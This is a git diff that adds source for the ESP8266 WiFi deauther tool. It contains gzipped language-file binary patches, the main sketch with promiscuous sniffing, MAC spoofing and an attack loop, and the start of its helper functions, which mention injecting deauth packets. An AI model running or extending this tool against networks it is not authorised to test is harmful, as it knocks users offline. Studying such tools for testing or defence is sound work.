z^v|$Q|9tyie%8Kw&6dO(w$}z6lIl6b*_4?QqzL`k5x2HALX-mm9S6lRQGoyXE_O}U zEj^)Jh1f~+Qc5&E9mpKOfhJk_L;61_9>pz`u52V(xFNGTMN8-%r(&TLa>fsa z64K#{pi!Sz8al7J0XmQ;k9uH5^2*bR5>AFJV^;hXsj&CzaFXQAARj+cW|#;3R0eAk zJ;DsnWu%|%A>mIRkb73G!-Vif+v0vQJmCm|x~&EgBzFO?=osmN61EoQJCadoA2*k( z@O1UOwaaB1@0nknzkWTJ$4z=7Atpv>{$aY?$-BVF{AKUOcIvC2zWeQOCXwFgAFDO( zd8>as5OQIdr}Q@SmblvyQ}LRsU#p{|nL7KPzPy;J?{up@egEZDdUbLokzLz}Y!B+~ z$*X&*Kc>6WJe8Y7JOY<8yqJq6du|9zvU@2Lf1n70i4a({) zZ)DRHYa8oNxi?88?tnqtuz`=a91p(NFn!Vuh~u=6q6C25qHBV~{2bA35$}`$j+~5p z6&QZHg}-N`M*slc(!_>Y>j29_a&hhXVKf67+crW#H>sP;5G&IX*^_rQ>M%Mg1D@U* zH(XhWkCx|(@e4xMw55}%BGjaFQ=%O|qm!{$QI+TYhxlAHnaa9RVGLrL<3BC(59_g!Xeu4Zl_NCtg3)kp9)I=K zE^13ti;@%NJ#yr>$K%HEB_Q1az%sJS_NBMMWFl@Xf)5^0`_AYjg!g=4rcL0pZRwJT z6e2ws#oKc@NN$ZCBY#RkkshiJcfyli9o$-aCEKS-o=ZnHqIL5T)tRwP9I-<&VY3jU zr7bO8YRRyDl!B_i9pS|8!`MUW&qq(o^MM6XXd=O3#J0DL&@%EqS6In4bdWn+Vd7G| zgzdSE3R#l3+@r%o)g-D& zI>Qz)$}XD4qI8TL)hu2xV)B+j;MEzi+yqh}PmV4kQ`G4j&_|fZ8 rhw(_iLnu?;FOv`epa^px`D4Y2AfOsddb0P$U%&Vdg+*Kn&>jE)C~)Vn literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ro.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ro.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..6cc8184eea86f924b2bd7055e1ac1bcc18034c89 GIT binary patch literal 3193 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 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ru.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ru.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..31e7d6cd841fa8c40bd2afe24ffec22187f7bbde GIT binary patch literal 3903 zcmV-F55VvriwFp|LHSz(|8jLMY+-I^0JU3RZyU!Ee{Md-*-th=sj|}mX@EYsja?XM z0V7JGSlf^l|zq zeW9QJNuM95PtzyqW3zm{)>_-F*0#bX-uUlqH%(@{L3%p7lO}1Dj`+)jKE6z+X%eLI ztdpM7*YWHiJ)!^i)81@%b`bD;csSx!1NwN#&!Sm}{>IphmeL+E{gB2%+7IZ_5&h81 z_M!85i|K5CwinF)hOdXSy~W_;dXPSGPo8ztA+HZ;%`u%=dVGg=P3XWq{up8VA)h_# zGF6~y2>SZxN>7NG_W{2pt7t2SL^^zSmo}lF)5&Z<_n6B z5TAEI`Sq(;uLkcfU0%F&iQby>x}$VVua8(>=J;5DVtqvPcpqZKPb2z3Ytv|fUW@5v z62m>(z9TxE?Js^@C&jbsdPHa-;MITrSluEce>JWUS-dz9lE53Ya4>r)j|QHU!A?(g-la8amWFy*pL=H7V`EAm z6VGD^i%dh7veej`#rFuQOJ0?c%NxOe?y1eIVbE%N3hm&)I6VmrW%lh% z)ShFj9kAK(Vd7}dN$^K7DWZbdg~zgnrZ9j0+k-Bw*x7O;Iu@cOZ#}JH2jJWGVx@Kc~S2!Dk za@dWp@(wtV7{K&fo2kfe{Obdab$v_L)WjQhO){zjTGiFx$he8s`*ifM5F03xT&o4@ z4UZ7Y)P1_py~=NZNFyff1SSq@!qQ#iwX8!X*1!7(1SCKMaJRn+FICBhLhQz1Wb`f zNjgdsWok2AYp-M{?Q8tww@BLN;Po)K@)>P1QA^3KZH8No+o4_gf{l*dC%>-MuC{B9 z`U)#*rA_9cByc#KNOH|7PVLfIGmLJCz3Sl(-hPUOi8-NqJ1m!o$ah_==Mh^O5|a1Z zim)86tGLG!23;$HK`O*Bsrbqbu_Tf~bEjEr3k6>Y_&|y^XE4tzwR$^j-mY%C%$o>c z+)Q5VTV>a8ZLKPrVumODv+P)HeiF9D3jU376I)+cF?P8S&|4gxCgP-&xypUyRpyZc zWXyrQP_dDfbri!lhmx=(#7~>!Q)hUNgiHJ6{95bHauN0Op(2HXmMNQBG z6gdGq5rjOsNF?+S=Ma@9k`_FUav|Z>n4=xB{yD8bTFAsoz6bObaOmV{&WCYa9cTpZ z5|wmpAYr%vI_4<>up%IoAx*$x-r(Ep9Po`-jg%?R%pOWaB)HI-9i9`a%MlBV54Is} z`-zM9qhl?c;H|Q-=bD3okwAK-%j8ytUSqy9fpB~%2p0e$b@oDn@&oeLs z$T()Q6aXX$ixFbf$g3mR4w+D6Hv$)!jF)VLh4TsqXR_g#i5um^hZ>7H!AU-@W^k$% zl)8)>?xBSC4zSh$erWR~XVzF`bjrb>&W{{roio0Wx6Qtn04xwKYI{Ab-fG`mEZK*B zg^9Alk2EwIy}zmD_`!<35gKFOj#0&&h{O%FBL?;X2wioEyCwh}9kDR8(E#WafsW~s z5Z1R!F?rvQpAmN31?t*Y>&tR1*iy?nVt@x&TtYalE9G*Y{W=^1LPrvlC001t79m%V zx~7v16tih$52=PToC25Rs`bx-cL57~8n(3n8?a~v{+e8s0B#Y}sSmFkLG}|k!c4J#1!Z+z>=~wAD z!A}Exd6quU*7-~Hx$~x3yi?n#tu!_^_y=HYKq@b)D@IyvG}_uhnPbnoknB&7ITGu| z^RQlB-3(Wn)%tp4OEl#l6A+<-_!%IG#I$fG?HgQP*d$NwYiuL0uMk9BD-t5=HU=~- z?BH}#xKbRrS=4z;t6-a;I95nB=}VLwSOiwYOp6L(IbvmGeu0SZwLAPAY=SB4aiNHy zD`Hiqm%(kML%&@E=jhR!rlyTiF^sZu$(n2iHF{_^?4m9jNnDMKFmqx`Qfv%?urNz- zKJCB`E;$|`1|h+8+kD6%$pu}GESOAG{4pxq;sJ`~a!3I&uTXbNGiqny^3u}JB^%oq zI+U0lVVj7pCsWJ`O8r>cEkG*L78p8dB+Jupgo#kfxrjhORSaQA7OP77up7zytmzyV zk)L#XECvBg9MiNHDcwhfk3C@Gy&#{jdy+MjKURo@I|h*ZMhjV(HCF4KIFU9Pv&-U& zrM2dq$`2~iu9Te72^4Nq+~fj_ow6@}(H9m4Cd>h=Y`W-QlmYBn*Cv|Pu)0QtpLNB5 zY5tdfVB}M%%!U2KCoXB+=DmYp6YEa4 z3bl&u?cSMcJ zTk#rGYYCc5w552Wx)Cvz_w-p=Z1j$Ix!}?G;jYS3q`#}Ch9-H%tWwgYWo-(-TuA5( zUQ_jG*VfHuku3xWacQG90k6FMA^1)F-X)rhv8l;TuRd{m^{gdMrkcn~f~H%d2b$y= zI!;No53O_;T_C)2J8ZUU+QhT%hd_vhBv`+@mX$p^|aP$e}`u2RFZM`g)#<_q{DXDHj&Cn+1d9jRSb^$qoH7P+Iot^t2 zKDj7e?nh7r1Z)dO{=)GaHp`jpl9sxc@};iF(ss4g+G#Y`6*2Z8z_E(xN9B%IIe_R* zID7ZCICEQ?U*{%R0_Wg-S=uVXhPge8vMSg={bp@_J+y6Ne=MVtWgE>)))IgqbY_#} z{}6QAyO@(xb-P`=9o}d(+ooBV<$Nhh{B^xwLArk)sy6 z~cF(7Z%B$_o>YvNSRMLM;H2>U@!JHgey5)z&XX92o*Du!$P&HxfeDL+(d{Nj%$GoOtdNP3g` zs0GLfB~HEX^t|my#nXbO0~13~WQ=sV9`|Dpp4&K4QV7r|snN zZ?jl#D>--Ec%dY{U(71G-h4C@2U)Yi4n#T<-O?B330HgYOSzd!A+PgNpRE=SO(EdSKZE4HnOS#&BhyfYNt;BpQ zd(Od}P7JGZ*HI40x5NzAi=9C%_ww`#Vo~2{5T9!A6H7`5!%lbd#0)_AT%T!a(7L7h zFSAIbB5yuDdax*ZG1I3O99Au?^*#iXg10g!NiH*`((1Jpz zdT}8;)=6|C6z77G*IC}z0&I%XL6n5cEN3Nf-%4a)`Qab5nUk;DK1 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/tlh.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/tlh.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..18c44a6497bce90c62787935b1a8adcf36fc4a7f GIT binary patch literal 2710 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 G2mkv^$S|GOa0t8uM2}ql4 z3%0dE9jw?VgQCtBYl;*|%65SL_#H{fuj-bz*%wK?H9lG1)+o!Ob#t)64SHM z^(j;&t4P#{!Cu4yEjOZeLaUvicaw+fi>oWRMb@|y&AyM9X|rQKsTs$zDHRN1;&8?k z{ARGShmI7g!Xejk&-=&AtIMA*?*@>Nu@g>Wb~yhyiE)j4y?tWAxWmmS7J&2)bhuYv5Ip3ysr_!MH~{i%uqr6pabTC1^`gAW()#M;7IICq`CKFI&J3EwGO-r@fB*A`H(erf z)A{ys*)-BDU9*p+un-tS3QMQJLStzfqA8#Y6LMrkxWH5awb403dwGQTL%3tSjNblw zB6U-P(?E>ln-4~i8r#|4YIWj#;5l8jWE21b%a#bM5*0k@2Cxu53oOL!9RDIk>CHAy z5h!3YiVr@6blU`%cCr?PegFbug|LLFs5}MS6TZwM=o#%38ingR9)@sZoD#R9SGQU6 zsQ5M@U?R0%5F}BEhI%EaXf=+|^9arw6mauOhtd4B^Jv4*Ll3tYg3}1=<&>BvdSy_>o}Om9HpTm7_ z&_YzhAG*NZIy$PjU^ewl>&DgRFv=;1ML2D9B!*-@*PUjkQm86mE|zq1J3vM|8Fe9M zds{q)0kLC{_Uw(CTq55aDR-!%r`V&}lu7By!hZw#d>>)8-4WOIQ)H)Yzc(nItL>X4 znG07o`H1VvAK%!bCunQmTN8+}w@y}KAqL=>FYt7lOGX`b_KAd{ll%J{!yZNaMYvy^ z+{cVnO9#*`{)$mG@~VD$>v;$Us}+by9KI9`IfY(Zrv6$Qlu4P7g8twa1DC7q$Pjj zB=8OlS9;Rrv`GT-ZYv3kD2VnmCFit3c~0s};)S?!0ph^YL`{nm^Dva? zjLW_xHFmFRQ*>JR-*(4f@Ujvk*318}lV1VBHOFE*$9L|cl3eOUVT0G=5@)=BB{{z) zC$QQ1iBt_`9Myc}(YHXe1;p9sps0gMj(FE<5QHu@2mC@;BX((plM9w$D-40TatHLL#X^m62qJKX^+cmfX%smTb*eu<0 zNZoY2AKgJ`xZ@qiDQ!?j_*>#HiB>Yex7&kVf>8+FRFdEu-JyU~sLRJGTwHy=;dhyy z=0OvW77J|&DnLElVz8p-$o&kp&Kgw+n|sSHTr`(bnx zj5qGfS>>9}ps!Z~)@pCndf$O$EC2j44yK#SDC7(LG2Z3)@<|^2dvovLgLfr4?&k!x zSNb}4+0JUHCY4MEZVkC4DNv4ot1UF|bgl^6;mZxb6%3ZOj#}6IANnzb2B-|vYcLE~ zHm}P#4&wcQOp4xx#{kOHGABu+QF5g(G7jX@)9!r4@lX;|L1Mw+;8hq7=dVf0JPC*K zKK?}?l&~#*g`;rK45J%pVHGOV3U2PWKm?+a2+V4M4>HqCw<)v?Bx0d&_xQ%?fi&c$@SGt91LY%f)Z_QsJB+r_BUW4ytqKV}r>cGGf8(D>5acx%0usO2qKV?k1QZSAcWddxd&rf0dS zZAm`vTim==cv{BwUTZ2Eh-MJ$C*@hT~9%hE9 zZO{Ef^Q}hG>Jem1W!=$r6JYhv!J?Dh`+mA?QlX}CE^4btV}eiFW53&BJt8%gd0$Gv z0K78PJZjQcY?|V+ti^!eg$Kf%@wVLu#g;m|2UM>o6ya-J)BYd|AcMv+8mzUrLZqA> zTHRG=%w|vv&31O3L4v0RFc;IY`Fn%fR-~clt=NhnEp2sk{wNUk>)SH+9PhIYtX@%0 zU)8BSWZA@49*f^}Lh2I3T^p88j#*jsm%2;0GPPZLr#u)QftKp!AqZ&?X2z)(iIYDT?()P;6WZgL$&SbSr z?QcNnl5$+TZ8hgr*D6|o{4dHcP_B8`QC24Vx8 zrj0v|MTcqQ-pDt=K?6HW<56RKOXEpn2ct3Y4PvPbjQvMT=bY6wOR8ZW{sjn9p@D-D F001q4DCPhF literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/esp8266_deauther.ino b/enp8266/esp8266_deauther-master/esp8266_deauther/esp8266_deauther.ino new file mode 100755 index 0000000..6911af5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/esp8266_deauther.ino @@ -0,0 +1,180 @@ +/* + =========================================== + Copyright (c) 2018 Stefan Kremser + github.com/spacehuhn + =========================================== + */ + +extern "C" { + // Please follow this tutorial: + // https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide + // And be sure to have the right board selected + #include "user_interface.h" +} +#include + +#include +#if ARDUINOJSON_VERSION_MAJOR != 5 +// The software was build using ArduinoJson v5.x +// version 6 is still in beta at the time of writing +// go to tools -> manage libraries, search for ArduinoJSON and install the latest version 5 +#error Please upgrade/downgrade ArduinoJSON library to version 5! +#endif + +#include "oui.h" +#include "language.h" +#include "functions.h" +#include "Settings.h" +#include "Names.h" +#include "SSIDs.h" +#include "Scan.h" +#include "Attack.h" +#include "CLI.h" +#include "DisplayUI.h" +#include "A_config.h" +#include "webfiles.h" + +#include "LED.h" + +// Run-Time Variables // +LED led; +Settings settings; +Names names; +SSIDs ssids; +Accesspoints accesspoints; +Stations stations; +Scan scan; +Attack attack; +CLI cli; +DisplayUI displayUI; + +#include "wifi.h" + +uint32_t autosaveTime = 0; +uint32_t currentTime = 0; + +bool booted = false; + +void setup() { + // for random generator + randomSeed(os_random()); + + // start serial + Serial.begin(115200); + Serial.println(); + + // start SPIFFS + prnt(SETUP_MOUNT_SPIFFS); + prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR); + + // Start EEPROM + EEPROM.begin(4096); + + // auto repair when in boot-loop + uint8_t bootCounter = EEPROM.read(0); + + if (bootCounter >= 3) { + prnt(SETUP_FORMAT_SPIFFS); + SPIFFS.format(); + prntln(SETUP_OK); + } else { + EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter + EEPROM.commit(); + } + + // get time + currentTime = millis(); + + // load settings + settings.load(); + + // set mac for access point + wifi_set_macaddr(SOFTAP_IF, settings.getMacAP()); + + // start WiFi + WiFi.mode(WIFI_OFF); + wifi_set_opmode(STATION_MODE); + wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) { + scan.sniffer(buf, len); + }); + + // set mac for station + wifi_set_macaddr(STATION_IF, settings.getMacSt()); + + // start display + if (settings.getDisplayInterface()) { + displayUI.setup(); + displayUI.mode = displayUI.DISPLAY_MODE::INTRO; + } + + // copy web files to SPIFFS + copyWebFiles(false); + + // load everything else + names.load(); + ssids.load(); + cli.load(); + + // create scan.json + scan.setup(); + + // set channel + setWifiChannel(settings.getChannel()); + + // load Wifi settings: SSID, password,... + #ifdef DEFAULT_SSID + if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID); + #endif // ifdef DEFAULT_SSID + loadWifiConfigDefaults(); + + // dis/enable serial command interface + if (settings.getCLI()) { + cli.enable(); + } else { + prntln(SETUP_SERIAL_WARNING); + Serial.flush(); + Serial.end(); + } + + // start access point/web interface + if (settings.getWebInterface()) startAP(); + + // STARTED + prntln(SETUP_STARTED); + + // version + prntln(settings.getVersion()); + + // setup LED + led.setup(); +} + +void loop() { + currentTime = millis(); + + led.update(); // update LED color + wifiUpdate(); // manage access point + attack.update(); // run attacks + displayUI.update(); + cli.update(); // read and run serial input + scan.update(); // run scan + ssids.update(); // run random mode, if enabled + + // auto-save + if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) { + autosaveTime = currentTime; + names.save(false); + ssids.save(false); + settings.save(false); + } + + if (!booted) { + // reset boot counter + EEPROM.write(0, 0); + EEPROM.commit(); + booted = true; +#ifdef HIGHLIGHT_LED + displayUI.setupLED(); +#endif // ifdef HIGHLIGHT_LED + } +} diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/functions.h b/enp8266/esp8266_deauther-master/esp8266_deauther/functions.h new file mode 100755 index 0000000..21e24d2 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/functions.h @@ -0,0 +1,790 @@ +#ifndef functions_h +#define functions_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" + +/* + Here is a collection of useful functions and variables. + They are used globally via an 'extern' reference in every class. + Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK, + there were some fixed in later version but we need to use the old version for injecting deauth packets. + */ + +uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; +uint8_t wifi_channel = 1; + +// ===== UTF8 FIX ===== // +String escape(String str) { + str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH)); + str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES)); + return str; +} + +bool ascii(char c) { + return c >= 0 && c <= 127; +} + +bool printableAscii(char c) { + return c >= 32 && c <= 126; +} + +bool getBit(uint8_t b, uint8_t n) { + return (b >> n) % 2 != 0; +} + +uint8_t utf8(uint8_t c) { + if (!getBit(c, 7)) return 1; + + if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2; + + if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3; + + if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4; + + return 0; +} + +bool utf8Part(uint8_t c) { + return getBit(c, 7) && !getBit(c, 6); +} + +String fixUtf8(String str) { + int size = str.length(); + + String result = String(); + char c; + uint8_t len; + bool ok; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) { + result += c; // when 1 byte char, add it :) + } + else if (i + len > size) { // when char bigger than remaining string, end loop + i = size + 1; + } + else { + ok = true; + + for (int j = 1; j < len && ok; j++) { + ok = utf8Part(str.charAt(i + j)); // if following char is 